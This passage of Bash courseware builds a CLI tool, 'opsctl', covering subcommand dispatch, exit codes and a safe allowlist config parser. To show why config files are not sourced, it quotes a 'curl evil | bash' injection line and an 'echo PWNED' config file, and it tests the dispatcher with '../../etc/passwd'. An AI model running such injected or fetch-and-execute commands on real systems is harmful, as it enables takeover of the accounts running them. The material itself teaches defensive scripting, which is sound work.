  source "$file" || return 1
  declare -F "cmd::$name" >/dev/null                # the file must define cmd::<name>
}
…
  shift
  opsctl::load_command "$cmd" || util::usage_error "unknown command: $cmd"
  log::debug "dispatch: cmd::$cmd $*"
  "cmd::$cmd" "$@"

2) help automatically lists subcommands

opsctl::list_commands() {      # scan the "# opsctl-summary:" comments in lib/cmd_*.sh
  local f name line summary
  for f in "$OPSCTL_HOME"/lib/cmd_*.sh; do
    [[ -e $f ]] || continue
    name=${f##*/cmd_}
    name=${name%.sh}
    summary=""
    while IFS= read -r line; do
      if [[ $line == '# opsctl-summary: '* ]]; then summary=${line#'# opsctl-summary: '}; break; fi
    done < "$f"
    printf '  %-16s %s\n' "$name" "$summary"
  done
}

Read comments only, do not source files: listing help does not execute any subcommand code, so it is fast and safer. [[ -e $f ]] || continue Handles the case where glob returns a literal when nothing matches (you can also use shopt -s nullglob).

3) Verify exit codes and output channels

cd ~/bashlab/opsctl
for args in "--help" "" "nosuch" "servers list --env qa" "-V"; do
  bin/opsctl $args >/dev/null 2>&1; printf '%-24s exit=%s\n' "opsctl $args" "$?"
done
bin/opsctl servers list --env prod 2>/dev/null | wc -l     # data only (including header)
bin/opsctl nosuch 2>&1 >/dev/null                          # look at stderr only
opsctl --help            exit=0
opsctl                   exit=2
opsctl nosuch            exit=2
opsctl servers list --env qa exit=2
opsctl -V                exit=0
7
2026-11-17T10:00:01+0000 ERROR opsctl: unknown command: nosuch
Try 'opsctl --help' for more information.

Lab 6: write bin/opsctl (about 6 minutes)

Create the entry file: the full content is inComprehensive labStep 5 (bin/opsctl full text, 118 lines). Also copy the file from step 3 of the comprehensive lab to lib/config.sh (opsctl sources it at startup). lib/ After copying:
cd ~/bashlab/opsctl
chmod +x bin/opsctl
bash -n bin/opsctl && echo "syntax ok"
bin/opsctl -V
syntax ok
opsctl 0.1.0
Write a minimal subcommand to verify dispatch:
cat > lib/cmd_hello.sh <<'EOF'
# shellcheck shell=bash
# opsctl-summary: say hello (demo command, delete me)
cmd::hello() {
  case ${1-} in
    -h|--help) echo "Usage: opsctl hello [NAME]"; return 0 ;;
  esac
  log::info "about to greet"
  printf 'hello, %s\n' "${1:-world}"
}
EOF
bin/opsctl help | sed -n '/^Commands:/,/^$/p'
bin/opsctl hello Ada; echo "exit=$?"
bin/opsctl hello Ada 2>/dev/null
Commands:
  hello            say hello (demo command, delete me)
  help [COMMAND]   show help for a command

2026-11-17T10:00:01+0000 INFO  opsctl: about to greet
hello, Ada
exit=0
hello, Ada
Verify safety checks and error paths:
bin/opsctl ../../etc/passwd; echo "exit=$?"
bin/opsctl Hello; echo "exit=$?"
sh bin/opsctl -V; echo "exit=$?"
2026-11-17T10:00:01+0000 ERROR opsctl: unknown command: ../../etc/passwd
Try 'opsctl --help' for more information.
exit=2
2026-11-17T10:00:01+0000 ERROR opsctl: unknown command: Hello
Try 'opsctl --help' for more information.
exit=2
opsctl: please run with bash, not sh
exit=3

On systems where “sh is bash” (such as Git for Windows, some macOS setups), the third line of output opsctl: run as 'bash opsctl' or './opsctl', not in POSIX mode and the exit code is also 3 (measured on this machine).

Cleanup: rm lib/cmd_hello.sh (for demonstration only; not part of v0.1).

Case 1: CI could not tell a “usage error” from a “deployment failure”

Problem: the pipeline called deploy.sh --env prd (a typo); the script exited with 1, was treated as a deployment failure, and automatically triggered a rollback and an on-call alert. Approach: usage errors uniformly exit with 2, and the pipeline fails immediately on 2 and prompts for a corrected configuration without triggering a rollback; missing dependencies exit with 3, prompting a fix to the runner image. Limitation: the exit code convention must be written into the documentation (opsctl --help last line), and asserted with bats in Lesson 7.

Case 2: the dispatcher was used to load arbitrary files

Problem: an internal tool source "$DIR/cmds/$1.sh", and someone used a web hook to set the subcommand name to ../../tmp/x, executing an uploaded script. Approach: allowlist characters ^[a-z][a-z0-9_]*$ + file exists + function exists: three checks. Limitation: if an attacker can write to the lib/ directory, every validation is ineffective—the install directory should be writable only by administrators.

Case 3: help text out of sync with the implementation

Problem: the hand-written help list missed a newly added subcommand, so users did not know it existed. Approach: help is generated automatically from the # opsctl-summary: comments in the subcommand files; each subcommand's own --help and its option parsing are written in the same file. Limitation: option descriptions still need to be maintained by hand; Lesson 7 adds a test: every cmd_*.sh must have a summary, and --help returns 0.

Common errors and fixes

ERROR opsctl: unknown command: servers (even though the file exists)

Cause: one of the three checks failed: the filename is not cmd_servers.sh; the file is unreadable; or the file does not define cmd::servers (for example, it was written as servers::main), or the file has a syntax error that makes source fail.

ls -l lib/cmd_servers.sh
bash -n lib/cmd_servers.sh
bash -c 'source lib/log.sh; source lib/util.sh; source lib/cmd_servers.sh; declare -F cmd::servers'
opsctl: please run with bash, not sh (exit code 3)

Cause: was run with sh bin/opsctl ; on Ubuntu, sh is dash.

Fix:./bin/opsctl (requires chmod +x) or bash bin/opsctl; in cron / systemd, use the full path.

bash: bin/opsctl: Permission denied (exit code 126)

Cause: no execute permission, or the filesystem is mounted noexec.

ls -l bin/opsctl; findmnt -no OPTIONS --target bin/opsctl

Fix:chmod +x bin/opsctl, and record the permission in Git: git update-index --chmod=+x bin/opsctl (especially needed when committing on Windows).

/usr/bin/env: ‘bash\r’: No such file or directory

Cause: the file has CRLF line endings (edited on Windows or converted automatically by Git).

Fix:sed -i 's/\r$//' bin/opsctl lib/*.sh; Module 0 already added .gitattributes (eol=lf) to prevent recurrence.

opsctl … | head occasionally produces “write error: Broken pipe”

Cause: the downstream side closed the pipe early,printf receives SIGPIPE / EPIPE.

Fix: usually can be ignored (the data is already enough); after enabling pipefail in Lesson 4, watch the exit code of this kind of combination (141).

Command-line exercises
1. Write a loop that verifies each of opsctl's four exit codes appears at least once (hint: use environment variables to create errors).
cd ~/bashlab/opsctl
bin/opsctl servers list --env prod >/dev/null 2>&1; echo "0? $?"
OPSCTL_DATA_DIR=/nowhere bin/opsctl servers list >/dev/null 2>&1; echo "1? $?"
bin/opsctl servers list --env qa >/dev/null 2>&1; echo "2? $?"
sh bin/opsctl -V >/dev/null 2>&1; echo "3? $?"
2. Using only the dispatcher's existing mechanism, add one whoami subcommand to opsctl that outputs the current user and OPSCTL_HOME.
cat > lib/cmd_whoami.sh <<'EOF'
# shellcheck shell=bash
# opsctl-summary: print current user and install directory
cmd::whoami() {
  [[ ${1-} == @(-h|--help) ]] && { echo "Usage: opsctl whoami"; return 0; }
  printf 'user=%s home=%s\n' "${USER:-$(id -un)}" "$OPSCTL_HOME"
}
EOF
bin/opsctl whoami
Scenario analysis
A colleague suggests writing all subcommand code directly in one file, bin/opsctl (“one file is easier to distribute”). Compare the two approaches and give your recommendation.

Single file: distribution is simple (one curl is enough), but the file quickly grows to thousands of lines, merge conflicts increase, all subcommand code must be parsed at startup, and unit tests need to source the entire tool. Multiple files + dispatcher: load on demand, each subcommand is reviewed and tested independently, and help is generated automatically; the cost is handling install-directory location (OPSCTL_HOME) and packaging. A compromise: use multiple files during development and, at release time, use a build step to concatenate them into lib/*.sh a single file (the release stage of Lesson 7 can do this), getting the best of both.

Verified teaching videos

▶
How To Write Bash Scripts In Linux - Complete Guide (Part 16 - Arguments) — Learn Linux TV
English · basics of argument handling, a useful prerequisite review for this module's CLI design

No video dedicated to “Bash subcommand-style CLI and exit code conventions” that is verified via oEmbed was found.

References

Video storyboard (about 90 seconds)

This courseware cannot directly generate video/MP3; the storyboard and narration script are provided.

Shot 1 · 0–20s
Picture: the git, kubectl and az command lines appear one after another, and below them all is labeled “tool subcommand options”.
Narration: a subcommand-style command line lets one entry point carry many actions.
Shot 2 · 20–50s
Picture: the opsctl servers list command passes through three gates: name validation, file exists, function exists; finally it enters cmd::servers.
Narration: the dispatcher first validates the subcommand name, then loads the file on demand, and calls the function only after confirming it exists.
Shot 3 · 50–75s
Picture: four signal lights 0, 1, 2, 3 correspond to success, run failure, usage error, and missing dependency.
Narration: the exit code is the interface between the script and its caller: zero for success, one for general error, two for usage error, three for missing dependency.
Shot 4 · 75–90s
Picture: two pipes: standard output flows to wc and cut, and standard error flows to the terminal.
Narration: data goes to standard output; logs and errors go to standard error.
or reach ≥ 70% on the quiz

Module 7 · Configuration: config files, environment variables and precedence

42:00 – 50:00 · A config file is not a script: parse it with an allowlist, merge by flag > env > file > default, and be able to say where each value came from
8 minopsctl v0.1 · lib/config.sh★★★★☆
Learning objectives
  • Explain why should not source config files (arbitrary code execution, polluted variables, hard-to-locate errors), and implement a safe key = value parser: comments, blank lines, whitespace, matched quotes,~/, CRLF, warnings for unknown keys, and format errors reported with line numbers.
  • Implement opsctl's four-layer precedence: command-line options > environment variables OPSCTL_<KEY> > config file > built-in defaults, as well as the choice of config file path itself (-c > OPSCTL_CONFIG > $OPSCTL_HOME/etc/opsctl.conf).
  • Use ${!name} for indirect reads, nameref for write-back,printf -v to return the "source", implement config::get key out [src], and use opsctl config show to investigate "where did this value come from".
  • Understand why this precedence is the common convention for CLIs (the source closest to this one invocation takes priority—for example, Terraform's -var takes precedence over TF_VAR_), and how to use config show / -v to explain "why this value took effect".
Prerequisites: Module 3 (nameref / printf -v) and Module 5 (option parsing). Importance:★★★★☆

What: the four sources of configuration

PrecedenceSourceForm in opsctlTypical user
1 (highest)command-line options--env,-o,-v,-cthe explicit intent of this one invocation (a person or a script)
2environment variablesOPSCTL_ENV,OPSCTL_DATA_DIR,OPSCTL_LOG_LEVEL,OPSCTL_OUTPUT (and the OPSCTL_CONFIG that selects the config file)defaults for a session / CI job / systemd unit / container
3config fileetc/opsctl.conf: env = devdefaults for a team / host
4 (lowest)built-in defaultsOPSCTL_DEFAULTS associative arraywork out of the box
Follows the general CLI convention opsctl uses “command-line options > environment variables > config file > defaults”, consistent with most command-line tools (for example, in Terraform, command-line -var takes precedence over TF_VAR_ environment variables). The principle is: the closer a source is to “this one invocation”, the higher its priority—the command line is the explicit intent of this invocation, environment variables are the defaults for a session or CI job, and the config file holds the defaults for the team / host. So in a CI job you can set OPSCTL_ENV=staging as a default, and when a step writes --env prod the command line wins. When the command line overrides a different environment variable value, opsctl records only one line at debug level (opsctl -v is visible), and does not print a WARN—this is the expected behavior and should not create noise. Lessons 4–7 keep this convention.

Why: why the config file is not sourced

  • arbitrary code execution: a config file is "data", often generated by other people or tools. source would execute $(…),; and backticks in it—a single line env=dev; curl evil | bash can take over the account running opsctl (a root scheduled task is even more dangerous). Measured on this machine: sourcing a file containing env=dev; echo "PWNED…" ,echo was executed.
  • variable pollution: a config file can override PATH,IFS,OPSCTL_HOME or any function.
  • hard-to-locate errors: a syntax error shows up as a strange runtime error, rather than “format error on line 4”.

The safe parser only accepts allowlisted keys (keys that exist in OPSCTL_DEFAULTS ), values are always strings and are never executed. The same malicious file handed to opsctl: the value dev; echo PWNED is treated as a string, and is then rejected by the value check of env (exit code 2).

How: config.sh data structures and flow

  1. Three global associative arrays: OPSCTL_DEFAULTS (also the allowlist of “legal keys”),OPSCTL_FILE,OPSCTL_FLAGS. Environment variables are not copied; reads them live when used via at the point of use ${!name} .
  2. config::init [flag_file]: determine the config file path (-c > OPSCTL_CONFIG > default path); an explicitly specified file that is unreadable → exit code 1; a default file that does not exist → silently use the built-in defaults. Then parse out LOG_LEVEL.
  3. config::load_file: read line by line (also handles a last line without a newline), || [[ -n $line ]] strip \r, skip comments and blank lines, extract key and value with [[ =~ ]] , strip trailing whitespace and matched quotes, expand a leading ~/; unknown keys WARN, and format errors ERROR with "file:line number".
  4. When a subcommand parses an option, it calls config::set_flag env "$2", which only records and does not judge.
  5. When a value is needed, call config::get env env src: in the order flag → env → file → default, take the first non-empty value, via nameref, into the caller's env, and record the source via printf -v into src.
  6. Validation happens at the point of use with: servers::list checks that env ∈ {dev, staging, prod, all}, and the error message includes the source (invalid env 'qa' (from flag))—so the user immediately knows what to change.

When: choosing a config format

FormatParsing in BashRecommendation
key = value (this lesson)pure Bash, 20 linesthe preferred choice for flat configuration
KEY=value then sourcezero codeonly when the file is fully trusted and maintained by the same administrator (for example, when /etc/os-release is provided by the system)
YAML / JSONneeds yq / jqhierarchical configuration. Lesson 1's make-data.sh generated a YAML example ( ~/bashlab/data/config.yaml (opsctl.default_env,environments.*.health_url,health/backup/deploy and other sections); Lesson 5 reads it with yq, and at that point uses util::require_cmd yq (missing → exit code 3). opsctl v0.1 reads only this lesson's etc/opsctl.conf, and does not depend on yq.
Common misconceptions① “source Config files are convenient and carry no risk”—it amounts to running a script. ② “An empty environment variable still counts as set”—opsctl judges by -n ,OPSCTL_ENV= is equivalent to unset (measured: it falls back to the config file value); if you want to express “explicitly clear”, you need different semantics. ③ “Environment variables should override the command line”—the convention is the opposite: the command line represents this invocation's explicit intent and has the highest priority; whichever you choose, the tool must document it and keep it consistent (opsctl writes it on the --help last line). ④ “~ inside a config value will expand automatically”—~ is expanded only when the shell parses the command line; what is read from a file is literal characters, and the parser must handle it itself.

Figure 7-1: parsing order of config::get

config::get envout=env src=src ① Is OPSCTL_FLAGS[env] non-empty?src="flag" (overrides a different env value → debug log) ② Is ${!OPSCTL_ENV} non-empty?src="env%20OPSCTL_ENV" ③ Is OPSCTL_FILE[env] non-empty?src="file%20<%3Bpath>%3B" ④ OPSCTL_DEFAULTS[env]src="default"; if the key does not exist → return 1 NoNoNo write back to the caller (same process)local -n __val=$2 → __val=… writes envprintf -v "$3" '%s' "$__src" writes srcthe name is first validated with util::is_identifierall local variables use the __ prefix to avoid same-name shadowing
Figure 7-1: the first “non-empty” source wins; both the result and its source are written back to the caller's variables

Figure 7-2: line-by-line handling in the config file parser

input line# team defaultsenv = "staging"output = tsv␠␠␠color = autothis is bad config::load_file remove \r → skip comments / blank lines ^\s*([a-z_]+)\s*=\s*(.*)$ → key / value; no match → ERROR file:line, return 1 strip trailing whitespace → strip matched quotes "…" / '…' → replace a leading ~/ with $HOME/ key not in OPSCTL_DEFAULTS → WARN unknown key (ignored) otherwise OPSCTL_FILE[key]=value (always a string, never executed) result(skipped)OPSCTL_FILE[env]=stagingOPSCTL_FILE[output]=tsvWARN …:4: unknown key 'color'ERROR …:5: invalid line → exit 1
Figure 7-2: the parser only turns text into strings in an associative array; value validation happens at the point of use

Animation: configuration precedence playground

For the key env set the four sources (empty = unset), and click “Parse” to step through each layer config::get env env src decision process. The results match the implementation in opsctl v0.1; the log below gives the reproducible real commands.

Command table

Command / syntaxPurposeKey points
opsctl config showshow the final value and source of each keythe first step when investigating precedence problems
OPSCTL_ENV=prod opsctl …set an environment variable for this one command onlyan assignment before the command does not affect the current shell; the command line --env still takes precedence
opsctl -c FILE … / OPSCTL_CONFIG=FILEspecify the config file-c takes precedence over OPSCTL_CONFIG; an unreadable file → exit code 1
opsctl -v …debug log (shows the config file used, dispatch information, and which environment variable the command line overrode)and OPSCTL_LOG_LEVEL=debug have the same effect (-v takes precedence)
${!name}indirect read of the variable whose name is $name the variablename="OPSCTL_${key^^}"
${arr[$k]+set}check whether the associative array has this keydistinguish “no key” from “empty value”
value=${value%"${value##*[![:space:]]}"}strip trailing whitespace (pure parameter expansion)the inner part removes trailing whitespace, the outer part deletes it

1) Why you cannot source: a real comparison

printf 'env=dev; echo "PWNED: arbitrary code ran"\n' > /tmp/evil.conf
( source /tmp/evil.conf; echo "env=$env" )               # ✗ the code was executed
printf 'env = dev; echo PWNED\n' > /tmp/evil2.conf
bin/opsctl -c /tmp/evil2.conf servers list; echo "exit=$?"   # ✓ just an illegal string
PWNED: arbitrary code ran
env=dev
2026-11-17T10:00:01+0000 ERROR opsctl: invalid env 'dev; echo PWNED' (from file /tmp/evil2.conf); expected dev|staging|prod|all
Try 'opsctl --help' for more information.
exit=2

2) Viewing values and sources

cd ~/bashlab/opsctl
bin/opsctl config show
OPSCTL_ENV=prod OPSCTL_LOG_LEVEL=debug bin/opsctl config show
KEY        VALUE                        SOURCE
env        dev                          file /home/labadmin/bashlab/opsctl/etc/opsctl.conf
data_dir   /home/labadmin/bashlab/data  file /home/labadmin/bashlab/opsctl/etc/opsctl.conf
log_level  info                         file /home/labadmin/bashlab/opsctl/etc/opsctl.conf
output     table                        file /home/labadmin/bashlab/opsctl/etc/opsctl.conf
2026-11-17T10:00:01+0000 DEBUG opsctl: config file: /home/labadmin/bashlab/opsctl/etc/opsctl.conf
2026-11-17T10:00:01+0000 DEBUG opsctl: dispatch: cmd::config show
KEY        VALUE                        SOURCE
env        prod                         env OPSCTL_ENV
data_dir   /home/labadmin/bashlab/data  file /home/labadmin/bashlab/opsctl/etc/opsctl.conf
log_level  debug                        env OPSCTL_LOG_LEVEL
output     table                        file /home/labadmin/bashlab/opsctl/etc/opsctl.conf

3) Command line overriding an environment variable (visible with -v)

OPSCTL_ENV=staging bin/opsctl servers list -o tsv            # only the environment variable → staging
OPSCTL_ENV=staging bin/opsctl servers list --env prod -o tsv # the command line takes precedence → prod
OPSCTL_ENV=staging bin/opsctl -v servers list --env prod -o tsv 2>&1 | grep overrides
web-01	staging	ca-central-1	10.20.1.31	web
api-01	staging	ca-central-1	10.20.1.32	api
db-01	staging	ca-central-1	10.20.1.33	db
web-01	prod	canadacentral	10.30.1.41	web
web-02	prod	canadacentral	10.30.1.42	web
api-01	prod	canadacentral	10.30.1.43	api
edge-01	prod	ca-central-1	10.30.2.51	web,api
db-01	prod	canadacentral	10.30.1.44	db
bastion-01	prod	ca-central-1	10.30.2.10	bastion
2026-11-17T10:00:01+0000 DEBUG opsctl: flag value 'prod' overrides OPSCTL_ENV=staging

Overriding is the expected behavior, so only a debug log is written and no WARN is printed; to investigate “where did this value come from”, use -v or config show.

4) Another config file: quotes, trailing whitespace, unknown keys

printf '# team defaults\nenv = "staging"\noutput = tsv   \ncolor = auto\n' > ~/bashlab/team.conf
bin/opsctl -c ~/bashlab/team.conf config show
OPSCTL_CONFIG=~/bashlab/team.conf bin/opsctl servers list 2>/dev/null
2026-11-17T10:00:01+0000 WARN  opsctl: /home/labadmin/bashlab/team.conf:4: unknown key 'color' (ignored)
KEY        VALUE                        SOURCE
env        staging                      file /home/labadmin/bashlab/team.conf
data_dir   /home/labadmin/bashlab/data  default
log_level  info                         default
output     tsv                          file /home/labadmin/bashlab/team.conf
web-01	staging	ca-central-1	10.20.1.31	web
api-01	staging	ca-central-1	10.20.1.32	api
db-01	staging	ca-central-1	10.20.1.33	db

How to verify: changing the file given by -c only affects the file layer; data_dir falls back to default. When OPSCTL_CONFIG and -c are both set, the one given by -c wins (measured: OPSCTL_CONFIG=/nope opsctl -c ~/bashlab/team.conf config show reads team.conf normally). Common mistake:OPSCTL_CONFIG=~/x.conf in ~ is expanded by the shell at assignment time (a ~ after the equals sign in an assignment is expanded); if it is written inside quotes "~/x.conf" it will not be expanded.

5) Error paths

bin/opsctl --config=/etc/nope.conf config show; echo "exit=$?"
printf 'log_level = loud\n' > /tmp/ll.conf; bin/opsctl -c /tmp/ll.conf config show; echo "exit=$?"
OPSCTL_ENV= bin/opsctl config show | sed -n 2p      # an empty environment variable = unset
2026-11-17T10:00:01+0000 ERROR opsctl: config file not readable: /etc/nope.conf
exit=1
2026-11-17T10:00:01+0000 ERROR opsctl: invalid log_level 'loud' (expected debug|info|warn|error)
Try 'opsctl --help' for more information.
exit=2
env        dev                          file /home/labadmin/bashlab/opsctl/etc/opsctl.conf

Lab 7: write lib/config.sh, etc/opsctl.conf and the config subcommand (about 7 minutes)

Write the config file:
cd ~/bashlab/opsctl
cat > etc/opsctl.conf <<'EOF'
# etc/opsctl.conf —— opsctl config file (key = value)
# This file is parsed line by line by config::load_file using an allowlist, and is never executed by source.
# Precedence: command-line options > environment variable OPSCTL_<KEY> > this file > built-in defaults
env = dev
data_dir = ~/bashlab/data
log_level = info
output = table
EOF
Write lib/config.sh, lib/cmd_servers.sh and lib/cmd_config.sh: the full content is inComprehensive labSteps 3 and 6 (config::load_file,config::set_flag,config::get,config::init; cmd::servers,cmd::config). The precedence checks below call servers list, so lib/cmd_servers.sh must also be in place at this step. After writing:
bash -n lib/config.sh lib/cmd_servers.sh lib/cmd_config.sh && echo ok
bin/opsctl config show
Test config::get on its own (without going through the opsctl entry point):
bash --norc -c '
  OPSCTL_HOME=$PWD
  source lib/log.sh; source lib/util.sh; source lib/config.sh
  config::init
  config::set_flag env staging
  config::get env e src;    echo "env=$e ($src)"
  OPSCTL_ENV=prod config::get env e src; echo "env=$e ($src)"
  OPSCTL_OUTPUT=tsv config::get output o src; echo "output=$o ($src)"
  config::get nosuch x;      echo "rc=$?"
  config::get env "bad name"; echo "rc=$?"
' 2>&1
env=staging (flag)
env=staging (flag)
output=tsv (env OPSCTL_OUTPUT)
2026-11-17T10:00:01+0000 ERROR opsctl: config::get: unknown key 'nosuch'
rc=1
2026-11-17T10:00:01+0000 ERROR opsctl: config::get: bad variable name 'bad name'
rc=2

OPSCTL_ENV=prod config::get …: the function is called with an assignment before it: Bash sets the variable only for the duration of this call, which is itself a manifestation of dynamic scope. The second line is still staging: a command-line value (flag) takes precedence over the environment variable; output has no command-line value, so it falls through to OPSCTL_OUTPUT.

Verify the four precedence layers:
bin/opsctl config show | awk '$1=="env"{print "1:", $2, $3}'
bin/opsctl servers list --env staging -o tsv | head -1
OPSCTL_ENV=prod bin/opsctl servers list --env staging -o tsv 2>/dev/null | head -1
OPSCTL_ENV=prod bin/opsctl servers list -o tsv 2>/dev/null | head -1
mv etc/opsctl.conf /tmp/ && bin/opsctl config show | awk '$1=="env"{print "4:", $2, $3}'; mv /tmp/opsctl.conf etc/
1: dev file
web-01	staging	ca-central-1	10.20.1.31	web
web-01	staging	ca-central-1	10.20.1.31	web
web-01	prod	canadacentral	10.30.1.41	web
4: dev default

Lines 2 and 3: with --env staging present, the result is staging regardless of what OPSCTL_ENV is (flag layer); line 4: after removing the command-line option, the environment variable layer takes effect.

Cleanup:rm -f ~/bashlab/team.conf /tmp/evil*.conf /tmp/ll.conf.

Case 1: environment defaults and explicit overrides in CI

Problem: every job in the pipeline must write --env staging, which is easy to forget; when it is forgotten, the value falls back to dev in the config file. Approach: set the environment for the staging job OPSCTL_ENV=staging as the default, so steps do not need to write --env again; for the few steps that need to read the prod inventory, explicitly write --env prod, and by opsctl's precedence the command line wins (a debug record is visible under -v ). Limitation: an environment variable is only a default, not a security boundary: to keep the staging Runner from operating on production, rely on cloud credential permission isolation (different Runners use different identities) and approval for production jobs, not on configuration precedence.

Case 2: privilege escalation caused by sourcing a config file

Problem: a root cron job source /opt/app/app.conf, and that file was writable by the application account. An attacker who obtained the application account added a line of command to the config; on the next cron run it executed as root. Approach: switch to allowlist parsing; the config file is owned by root with permissions 0644; the script checks at startup that the config file cannot be written by other users (find "$f" -perm /022). Limitation: the parser itself must also defend against overly long lines and unexpected characters (opsctl's value checks are done at the point of use).

Case 3: a “config has no effect” ticket

Problem: a user changed etc/opsctl.conf in output = tsv, but the output was still a table. Approach: ask the user to run opsctl config show, where the SOURCE column shows env OPSCTL_OUTPUT—it turned out that ~/.bashrc had a leftover export OPSCTL_OUTPUT=table in it. Configuration: the ability to show sources shortened a remote investigation from half an hour to a single command.

Common errors and fixes

ERROR opsctl: …/opsctl.conf:5: invalid line: this is bad (exit code 1)

Cause: is not key = value format (keys may only contain lowercase letters and underscores).

sed -n 5p etc/opsctl.conf | cat -A     # look for hidden characters (tab, \r, full-width spaces)

Fix: change it to key = value; comments start with # .

WARN opsctl: …:4: unknown key 'colour' (ignored)

Cause: a misspelled key, or a key not supported by this version. opsctl chooses “warn and ignore” so that a newer config file still runs on an older version.

Fix: check opsctl config show for the list of keys.

Changed the config file, but the value did not change

Cause: a higher-priority source exists—usually an exported OPSCTL_* environment variable (which overrides the config file), or the calling command includes a command-line option (which overrides everything).

opsctl config show
env | grep '^OPSCTL_'

Fix:unset OPSCTL_OUTPUT, and check ~/.bashrc, CI variables, systemd Environment=.

ERROR opsctl: cannot read ~/bashlab/data/servers.csv (the path contains a literal ~)

Cause: in a config value ~ is not expanded by the shell. opsctl's parser only handles a leading ~/; writing it as "~user/…" or an environment variable OPSCTL_DATA_DIR="~/data" (in quotes) will not expand it either.

Fix: in an environment variable, write $HOME/…; in the config file, use a leading ~/ or an absolute path.

Command-line exercises
1. Without modifying any file, make opsctl output the prod servers in TSV format just this once, unaffected by any OPSCTL_OUTPUT / OPSCTL_ENV that may exist in the user's environment.
opsctl servers list --env prod -o tsv     # the command-line option has the highest precedence; the environment variable is overridden automatically
# to also exclude the environment variable (for example when troubleshooting):
env -u OPSCTL_OUTPUT -u OPSCTL_ENV ~/bashlab/opsctl/bin/opsctl servers list --env prod -o tsv

verified: OPSCTL_OUTPUT=table opsctl servers list --env prod -o tsv outputs TSV.

2. Add a new config key to opsctl region (default empty, meaning all regions), and have servers list use it when there is no -r . Which places need changing?

① lib/config.sh 's OPSCTL_DEFAULTS add [region]=""—note that config::get for the default value, use ${…+set} to check (an empty default is also valid); servers::list in -r change to config::set_flag region "$2", then config::get region region; ③ cmd::config add it to the key list of region; ④ servers::usage and etc/opsctl.conf comments; ⑤ the environment variable OPSCTL_REGION takes effect automatically (derived from ${key^^} ), with no code change needed.

Scenario analysis
The security team wants “nothing written on the command line can operate on prod when running on the staging Runner”, and someone proposes changing opsctl so that “environment variables take precedence over the command line”. Analyze this and propose a better approach.

Reversing the precedence would violate the general CLI convention (command line > environment variables, as in Terraform's -var takes precedence over TF_VAR_), where interactive users would be confused by “I clearly wrote --env prod but it did not take effect”, and it is not a real security control—anyone can set it in a job. unset OPSCTL_ENV. Better approach: ① real isolation belongs at the credential layer: the staging Runner's identity has no permission on production resources; ② if a tool-level guardrail is needed, add an explicit lock, for example OPSCTL_ENV_LOCK=staging, and when the final value conflicts with the lock, reject it directly with exit code 2 (clearer than a “silent override”); ③ keep flag > env > file > default unchanged, and use bats tests in Lesson 7 to pin the precedence and prevent regressions.

Verified teaching videos

▶
Bash Scripting Tutorial for Beginners — freeCodeCamp.org
English · long video · variables, reading input and conditionals; a useful foundational review for this module's parser

No video dedicated to “Bash safe parsing of config files and configuration precedence” that is verified via oEmbed was found.

References

Video storyboard (about 90 seconds)

This courseware cannot directly generate video/MP3; the storyboard and narration script are provided.

Shot 1 · 0–20s
Picture: the config file is sourced; one line turns red and runs a command, and PWNED appears on screen.
Narration: sourcing a config file is the same as running a script. Configuration is data, and it should be parsed, not executed.
Shot 2 · 20–45s
Picture: the line-by-line parser works like a pipeline: strip carriage returns, skip comments, split key and value with a regex, strip quotes, check the allowlist.
Narration: a safe parser turns text only into strings; unknown keys produce a warning, and format errors report a line number.
Shot 3 · 45–75s
Picture: four steps: command line, environment variable, config file, default value; a ball starts from the highest step and drops, stopping at the first step that has a value.
Narration: opsctl takes the first non-empty value in the order command line, environment variable, config file, default. This is also the convention of most command-line tools.
Shot 4 · 75–90s
Picture: the table from config show, with the SOURCE column highlighted.
Narration: every value can be traced to its source, so investigating “the config has no effect” takes only one command.
or reach ≥ 70% on the quiz

Module 8 · opsctl v0.1: a maintainable script skeleton

50:00 – 60:00 · Assemble the first seven modules into a deliverable tool, accept it, commit it, and see the evolution roadmap for Lessons 4–7
10 minopsctl 0.1.0shellcheck -x: 0 warnings★★★★★
Learning objectives
  • Describe the responsibilities of each opsctl v0.1 file, its external functions, and the dependency direction (cmd_* → config → util → log).
  • Verify each item of the acceptance checklist: help, version,servers list --env the various syntaxes, configuration precedence, the four exit codes, stdout/stderr separation,bash -n and shellcheck -x.
  • Install opsctl to PATH (symbolic link) and commit it to Git as the starting point for Lesson 4.
  • Use the troubleshooting decision tree to locate common opsctl faults (command not found, library not found, config has no effect, exit code not as expected).
Prerequisites: Modules 1–7. Importance:★★★★★

What: the composition of opsctl v0.1

FileLinesResponsibilityExternal functions / contents
bin/opsctl118Entry point: interpreter and version check, locate OPSCTL_HOME, load the common libraries, global options, dispatchopsctl::main,opsctl::usage,opsctl::list_commands,opsctl::load_command; constants OPSCTL_HOME,OPSCTL_VERSION=0.1.0,OPSCTL_PROG
lib/log.sh20logging (stderr), filtered by LOG_LEVEL levellog::debug,log::info,log::warn,log::error (private log::_emit)
lib/util.sh70exit code convention and common utilitiesutil::die (1),util::usage_error (2),util::require_cmd (3),util::in_list,util::is_identifier,util::csv_split
lib/config.sh99configuration loading and merging (flag > env > file > default)config::load_file,config::set_flag,config::get,config::init; table OPSCTL_DEFAULTS / OPSCTL_FILE / OPSCTL_FLAGS
lib/cmd_servers.sh94subcommands servers listcmd::servers,servers::list,servers::usage
lib/cmd_config.sh18subcommand config showcmd::config
etc/opsctl.conf7default configurationenv,data_dir,log_level,output
test/—Lesson 7 bats tests(empty directory,.gitkeep)

Why: the reasons behind these design decisions

  • the bodies are all in functions, with the call on the last line opsctl::main "$@": it can be tested by sourcing, and a truncated file never executes half of its logic.
  • v0.1 does not have set -euo pipefail—strict mode is the topic of Lesson 4. But v0.1 already avoids the common pitfalls under strict mode: it does not use (( n++ )) (the status is 1 when n is 0), all variables that may be unset use ${x-},local is written separately from command substitution. This lesson was tested: run with bash -euo pipefail bin/opsctl … the results match running without strict mode.
  • hot paths without fork: logs use printf '%(…)T' rather than $(date), and CSV parsing fills arrays using nameref.
  • load subcommands on demand: Lesson 5's cmd_logs.sh, Lesson 6's cmd_health.sh / cmd_backup.sh / cmd_deploy.sh only need to be placed in lib/ and define cmd::<name>, and help picks them up automatically.

How: the version evolution roadmap (a convention running through the project)

Version / lessonAdditionsFiles that will change
v0.1 · Lesson 3 (this lesson)skeleton, help,servers list --env,config show, configuration loading, exit codes 0/1/2/3all newly created
v0.2 · Lesson 4strict mode, trap cleanup, locks, enhanced logging, retriesbin/opsctl,lib/log.sh,lib/util.sh
Lesson 5logs report (access log reports)added lib/cmd_logs.sh
v0.3 · Lesson 6health <url>,backup <dir>,deployadded lib/cmd_health.sh etc.
v1.0 · Lesson 7bats tests, ShellCheck / shfmt, CI, releasetest/*.bats, CI configuration

